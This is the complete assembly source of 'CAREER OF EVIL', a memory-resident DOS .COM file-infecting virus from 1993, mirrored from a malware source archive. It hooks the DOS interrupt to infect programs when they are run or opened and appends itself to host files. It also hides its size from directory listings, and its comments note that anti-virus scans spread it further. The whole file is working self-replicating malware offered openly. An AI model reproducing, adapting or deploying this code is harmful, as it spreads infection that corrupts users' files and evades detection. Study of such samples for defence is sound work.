mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
324 lines
9.2 KiB
NASM
324 lines
9.2 KiB
NASM
|
;CAREER OF EVIL virus: a simple memory resident .COMinfector
|
|||
|
|
;which infects on execution and file open. CAREER OF EVIL also
|
|||
|
|
;has limited stealth, subtracting its file size from infected files
|
|||
|
|
;by diddling the file control block on "DIR" functions BEFORE the
|
|||
|
|
;user sees the result onscreen. The virus recognizes infected
|
|||
|
|
;files by setting a peculiar time-stamp in the unreported seconds
|
|||
|
|
;field. Anti-virus measures are complicated when the virus is
|
|||
|
|
;in memory by its ability to infect on file open. Scanning or
|
|||
|
|
;operating any utilities which open files for inspection will
|
|||
|
|
;spread the virus to every file examined in this manner.
|
|||
|
|
;For best results, assemble CAREER OF EVIL with the A86 assembler.
|
|||
|
|
;CAREER OF EVIL: prepared by Urnst Kouch for CRYPT NEWSLETTER 15,
|
|||
|
|
;MAY-JUNE 1993.
|
|||
|
|
|
|||
|
|
|
|||
|
|
code segment
|
|||
|
|
assume cs:code, ds:code, es:code, ss:nothing
|
|||
|
|
|
|||
|
|
org 0100h
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
begin: call virus ;
|
|||
|
|
|
|||
|
|
host db '<27> RottenUK' ; dummy place-holder where
|
|||
|
|
; virus stashes original 5-bytes
|
|||
|
|
; from host file
|
|||
|
|
db 'Career of Evil',0
|
|||
|
|
|
|||
|
|
|
|||
|
|
virus: pop bp
|
|||
|
|
push bp
|
|||
|
|
add bp,0FEFDh
|
|||
|
|
|
|||
|
|
mov ax,0ABCDh ; put 0ABCDh into ax
|
|||
|
|
int 21h ; for installation check
|
|||
|
|
; (also critical in directory stealth)
|
|||
|
|
jnb failed ; if virus is already there,
|
|||
|
|
; will branch
|
|||
|
|
cli ; to virus exit when in memory
|
|||
|
|
mov ax,3521h
|
|||
|
|
int 21h ; get interrupt vector
|
|||
|
|
mov w [bp+offset oldint21],bx ; es:bx points to
|
|||
|
|
mov w [bp+offset oldint21+2],es ; interrupt handler
|
|||
|
|
|
|||
|
|
mov al,1Ch
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
|
|||
|
|
mov si,ds
|
|||
|
|
std
|
|||
|
|
lodsb
|
|||
|
|
cld
|
|||
|
|
mov ds,si
|
|||
|
|
|
|||
|
|
xor bx,bx
|
|||
|
|
mov cx,pargrph ; virus size in paragraphs to allot-->cx
|
|||
|
|
mov ax,[bx+3] ; an off hand way of doing things
|
|||
|
|
sub ax,cx ;
|
|||
|
|
|
|||
|
|
mov [bx+3],ax
|
|||
|
|
sub [bx+12h],cx
|
|||
|
|
mov es,[bx+12h]
|
|||
|
|
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
|
|||
|
|
mov di,100h
|
|||
|
|
mov si,bp
|
|||
|
|
add si,di
|
|||
|
|
mov cx,size
|
|||
|
|
rep movsb ; start copying virus into memory
|
|||
|
|
|
|||
|
|
push es
|
|||
|
|
pop ds
|
|||
|
|
mov ax,2521h
|
|||
|
|
mov dx,offset newint21 ; set int 21 route through virus
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
failed: push cs
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
pop es
|
|||
|
|
|
|||
|
|
pop si
|
|||
|
|
mov di,100h
|
|||
|
|
push di
|
|||
|
|
jmp $ + 2
|
|||
|
|
movsw
|
|||
|
|
movsw
|
|||
|
|
jmp $ + 2
|
|||
|
|
movsb
|
|||
|
|
|
|||
|
|
mov cx,0FFh
|
|||
|
|
mov si,100h
|
|||
|
|
ret ; exit to host
|
|||
|
|
|
|||
|
|
newint21: pushf
|
|||
|
|
cmp ah,11h ; any "dir" user access of file control
|
|||
|
|
je stealth_entry ; block must come through virus
|
|||
|
|
cmp ah,12h ; next file directory handler
|
|||
|
|
je stealth_entry
|
|||
|
|
|
|||
|
|
cmp ax,0ABCDh ; we need this so that when the virus
|
|||
|
|
jne not_virus_input ; is controlling things, on
|
|||
|
|
popf ; file infect it doesn't go
|
|||
|
|
clc ; and subtract another length
|
|||
|
|
retf 2 ; increment from the directory
|
|||
|
|
; entries of infected files.
|
|||
|
|
; although an amusing effect,
|
|||
|
|
; reducing the filesize of all
|
|||
|
|
; infected files as reported
|
|||
|
|
; by DIR one virus length everytime
|
|||
|
|
; the virus infects ANY file is
|
|||
|
|
; counter-productive
|
|||
|
|
not_virus_input:
|
|||
|
|
cmp ax,4B00h ; is a program being loaded?
|
|||
|
|
je check_infect ; try to infect
|
|||
|
|
cmp ah,3Dh ; is a file being opened?
|
|||
|
|
je start_open_infect ; if so, get address
|
|||
|
|
jne not_4B00 ; exit if not
|
|||
|
|
|
|||
|
|
stealth_entry:
|
|||
|
|
|
|||
|
|
popf
|
|||
|
|
call int21 ; look to virus "stealth"
|
|||
|
|
pushf ; routine
|
|||
|
|
call stealth_begin
|
|||
|
|
|
|||
|
|
cycle_dirstealth:
|
|||
|
|
popf ; remove word from the stack
|
|||
|
|
iret ; and return from interrupt
|
|||
|
|
; to where we were before pulling
|
|||
|
|
stealth_begin: ; stealth trick
|
|||
|
|
push ax ; the following essentially massages the
|
|||
|
|
push bx ; file control block on directory scans,
|
|||
|
|
push dx ; subtracting the virus size from infected
|
|||
|
|
push es ; files before the user sees it
|
|||
|
|
; stack setup saves everything
|
|||
|
|
mov ah,2Fh ; get disk transfer address
|
|||
|
|
call int21 ;
|
|||
|
|
|
|||
|
|
add bx,8
|
|||
|
|
|
|||
|
|
normalize_direntry:
|
|||
|
|
|
|||
|
|
mov al,byte es:[bx+16h] ; retrieve seconds data
|
|||
|
|
and al,1fh ; from observed file, if it's
|
|||
|
|
xor al,1fh ; 31, the file is infected
|
|||
|
|
jnz no_edit_entry ; not 31 - file not infected
|
|||
|
|
mov ax,word es:[bx+1Ch]
|
|||
|
|
mov dx,word es:[bx+1Ch+2]
|
|||
|
|
sub ax,size ; subtract virus length from
|
|||
|
|
sbb dx,0 ; infected file
|
|||
|
|
jc no_edit_entry ; no files? exit
|
|||
|
|
mov word es:[bx+1Ch],ax
|
|||
|
|
mov word es:[bx+1Ch+2],dx
|
|||
|
|
no_edit_entry: ; restore everything as normal
|
|||
|
|
pop es ;
|
|||
|
|
pop dx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
start_open_infect:
|
|||
|
|
|
|||
|
|
mov word ptr cs:[fileseg],dx
|
|||
|
|
mov word ptr cs:[fileseg+2h],ds ; save segment:offset of
|
|||
|
|
; file being opened so it
|
|||
|
|
; can be infected, too
|
|||
|
|
check_infect: push ax ; push everything onto stack
|
|||
|
|
push bx
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
push ds
|
|||
|
|
push bp
|
|||
|
|
|
|||
|
|
mov ax,4300h ; get file attributes of potential host
|
|||
|
|
call int21
|
|||
|
|
jc back1 ; failed? exit
|
|||
|
|
mov cs:old_attr,cx ; put attributes here
|
|||
|
|
|
|||
|
|
|
|||
|
|
mov ax,4301h ; set new file attributes, read or write
|
|||
|
|
xor cx,cx
|
|||
|
|
call int21 ; do it
|
|||
|
|
jc back1 ; error? exit
|
|||
|
|
|
|||
|
|
push dx
|
|||
|
|
push ds
|
|||
|
|
call infect ; call infection subroutine
|
|||
|
|
pop ds
|
|||
|
|
pop dx
|
|||
|
|
|
|||
|
|
mov ax,4301h ; same as above
|
|||
|
|
db 0B9h ; hand code mov CX,
|
|||
|
|
old_attr dw 0
|
|||
|
|
call int21
|
|||
|
|
|
|||
|
|
back1: ; if the attrib-get fails
|
|||
|
|
pop bp ; pop everything off stack
|
|||
|
|
pop ds
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
|
|||
|
|
|
|||
|
|
not_4B00:
|
|||
|
|
|
|||
|
|
back: popf
|
|||
|
|
db 0EAh ; <--------- return to virus exit to host
|
|||
|
|
|
|||
|
|
oldint21 dw 0,0
|
|||
|
|
|
|||
|
|
int21: pushf
|
|||
|
|
call dword ptr cs:oldint21 ; <--interrupt handler
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
infect: mov ax,3D02h ; open host file with read/write access
|
|||
|
|
call int21
|
|||
|
|
jnc okay_open
|
|||
|
|
ret ; was there an error? exit
|
|||
|
|
|
|||
|
|
okay_open: xchg bx,ax
|
|||
|
|
mov ax,5700h ; get file date and file time
|
|||
|
|
call int21
|
|||
|
|
|
|||
|
|
push cx
|
|||
|
|
mov bp,sp
|
|||
|
|
push dx
|
|||
|
|
|
|||
|
|
mov al,cl ; retrieve seconds data from file one
|
|||
|
|
or cl,1fh ; more time
|
|||
|
|
xor al,cl ; if it's 31 (1fh), we get a zero
|
|||
|
|
jz close ; and the file is already infected
|
|||
|
|
|
|||
|
|
mov ah,3Fh ; read first five bytes from potential host
|
|||
|
|
mov cx,5
|
|||
|
|
mov dx,offset host ; store them here
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
call int21
|
|||
|
|
jc close ; error, exit?
|
|||
|
|
cmp al,5 ; get the five bytes?
|
|||
|
|
jne close ; no, so exit
|
|||
|
|
|
|||
|
|
cmp word host[0],'ZM' ; check, is this an .EXE file?
|
|||
|
|
je close ; yes, so no infection
|
|||
|
|
cmp host[0],0E9h ; does it start with a jump?
|
|||
|
|
je infect_host ; yes - infect. Here's a
|
|||
|
|
; subtle point. MUST look for 0e9h
|
|||
|
|
; or file is not .EXE, not marked
|
|||
|
|
; virus time-stamp, infection will
|
|||
|
|
close: ; result in the virus adding itself
|
|||
|
|
; to almost anything loaded or
|
|||
|
|
pop dx ; opened which is not an .EXE or
|
|||
|
|
pop cx ; .OVL. The result would be a hang.
|
|||
|
|
mov ax,5701h ; reset file date and time
|
|||
|
|
call int21
|
|||
|
|
mov ah,3Eh ; close file
|
|||
|
|
call int21
|
|||
|
|
ret ; exit
|
|||
|
|
|
|||
|
|
infect_host: mov ax,4202h ; reset pointer to end of file
|
|||
|
|
xor cx,cx ; a standard appending infection
|
|||
|
|
xor dx,dx ; routine which is suitable
|
|||
|
|
call int21 ; for most resident .COM infecting
|
|||
|
|
; viruses
|
|||
|
|
or dx,dx
|
|||
|
|
jnz close
|
|||
|
|
|
|||
|
|
|
|||
|
|
dec ax
|
|||
|
|
dec ax
|
|||
|
|
dec ax
|
|||
|
|
|
|||
|
|
mov word ptr putjmp[1],ax
|
|||
|
|
|
|||
|
|
mov ah,40h ; write virus to the target file
|
|||
|
|
mov cx,size ; length in cx
|
|||
|
|
mov dx,100h
|
|||
|
|
call int21
|
|||
|
|
jc close
|
|||
|
|
|
|||
|
|
mov ax,4200h ; set file pointer to beginning of host
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
call int21
|
|||
|
|
|
|||
|
|
mov ah,40h ; write the first five bytes of the
|
|||
|
|
mov cx,5 ; viral jump and vanity string to the
|
|||
|
|
mov dx,offset putjmp ; beginning of the host file
|
|||
|
|
call int21
|
|||
|
|
|
|||
|
|
or byte ss:[bp],31 ; set the seconds field to 31, so the
|
|||
|
|
; "stealth" routine has its cue
|
|||
|
|
jmp close ; close the file and clean up
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
putjmp db 0E9h ; <----- data, jump and vanity sig for
|
|||
|
|
dw 0 ; virus to copy to beginning of host
|
|||
|
|
db 'UK'
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
fileseg dd ? ; <--- buffer for seg:off of files
|
|||
|
|
; opened by user activated programs
|
|||
|
|
|
|||
|
|
|
|||
|
|
mark: ; <-----end of virus
|
|||
|
|
|
|||
|
|
size equ $-100h ;
|
|||
|
|
pargrph equ ($+16)/16 ; virus size in memory in 16-byte
|
|||
|
|
; paragraphs
|
|||
|
|
|
|||
|
|
|
|||
|
|
code ends
|
|||
|
|
end begin
|
|||
|
|
|
|||
|
|
|